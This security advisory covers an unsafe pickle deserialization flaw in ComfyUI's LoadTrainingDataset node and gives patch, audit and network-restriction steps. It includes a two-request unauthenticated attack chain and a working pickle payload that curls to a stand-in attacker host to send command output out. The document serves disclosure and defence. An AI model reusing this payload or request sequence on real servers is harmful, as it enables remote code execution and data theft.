CVE-2026-68771: ComfyUI Unsafe Pickle Deserialization Enables Unauthenticated RCE

Executive Summary

A critical unsafe deserialization vulnerability (CVE-2026-68771) has been disclosed in ComfyUI v0.23.0, the popular open-source AI image generation workflow tool. The LoadTrainingDataset node processes uploaded files using torch.load() without the weights_only=True safety flag, allowing an unauthenticated remote attacker to execute arbitrary Python code by uploading a crafted pickle file and queueing a workflow. The vulnerability carries a CVSS 3.1 score of 9.8 (Critical) and a CVSS 4.0 score of 9.3.

A fix is available via Pull Request #14543 in the Comfy-Org/ComfyUI repository.

Vulnerability Overview

Root Cause

The LoadTrainingDataset node loads training data shards using torch.load() without the weights_only=True parameter:

# Vulnerable code (simplified)
data = torch.load(shard_path)  # weights_only defaults to False

Python's pickle format — which torch.load() uses by default — can invoke the __reduce__ method on arbitrary classes during deserialization. An attacker can craft a .pkl file that defines a malicious __reduce__ method that executes arbitrary shell commands when the object is reconstructed.

This was the only torch.load() call in the entire ComfyUI codebase lacking weights_only=True — every other call site (comfy/utils.py, comfy/sd1_clip.py) already included this protection.

Attack Chain

The exploit is a straightforward two-stage attack using only unauthenticated HTTP endpoints:

Stage 1 — Upload malicious pickle file
  POST /upload/image
  Content-Type: multipart/form-data
  [body: crafted shard_exploit.pkl with malicious __reduce__]
 
  → Server writes file to ComfyUI input/upload directory
 
Stage 2 — Trigger deserialization
  POST /prompt
  Content-Type: application/json
  { "prompt": { "1": { "class_type": "LoadTrainingDataset",
                       "inputs": { "dataset": "shard_exploit.pkl" } } } }
 
  → torch.load() deserializes the .pkl
  → __reduce__ fires → arbitrary Python/OS commands execute
  → RCE as the ComfyUI process user

Crafted Payload Example

import pickle, os
 
class Exploit:
    def __reduce__(self):
        return (os.system, ("curl http://attacker.com/exfil?id=$(id)",))
 
with open("shard_exploit.pkl", "wb") as f:
    pickle.dump(Exploit(), f)

Impact

Remediation

Apply the Patch (PR #14543)

The fix adds weights_only=True to the LoadTrainingDataset node's torch.load() call:

# Patched code
data = torch.load(shard_path, weights_only=True)

Update ComfyUI to a release containing PR #14543 or apply the patch manually.

Verify Other torch.load() Calls

Audit your ComfyUI installation (including custom nodes) for any remaining unsafe torch.load() calls:

grep -rn "torch.load(" . --include="*.py" | grep -v "weights_only=True"

Network Isolation

If running ComfyUI as a shared service, restrict access to the /upload/image and /prompt endpoints:

# Nginx — restrict to trusted IPs only
location ~ ^/(upload|prompt) {
    allow 10.0.0.0/8;
    deny all;
}

Environment Variable Fallback

As an interim measure (PyTorch 2.0+), set the environment variable to force safe loading globally:

export TORCH_FORCE_WEIGHTS_ONLY_LOAD=1

Detection

References

• TheHackerWire — ComfyUI v0.23.0 RCE via Unsafe Deserialization
• GitHub PR #14543 — harden: load training-dataset shards with weights_only=True
• THREATINT — CVE-2026-68771
• NIST NVD — CVE-2026-68771

Related Reading

• CVE-2026-68770: sentence-transformers Security Control Bypass RCE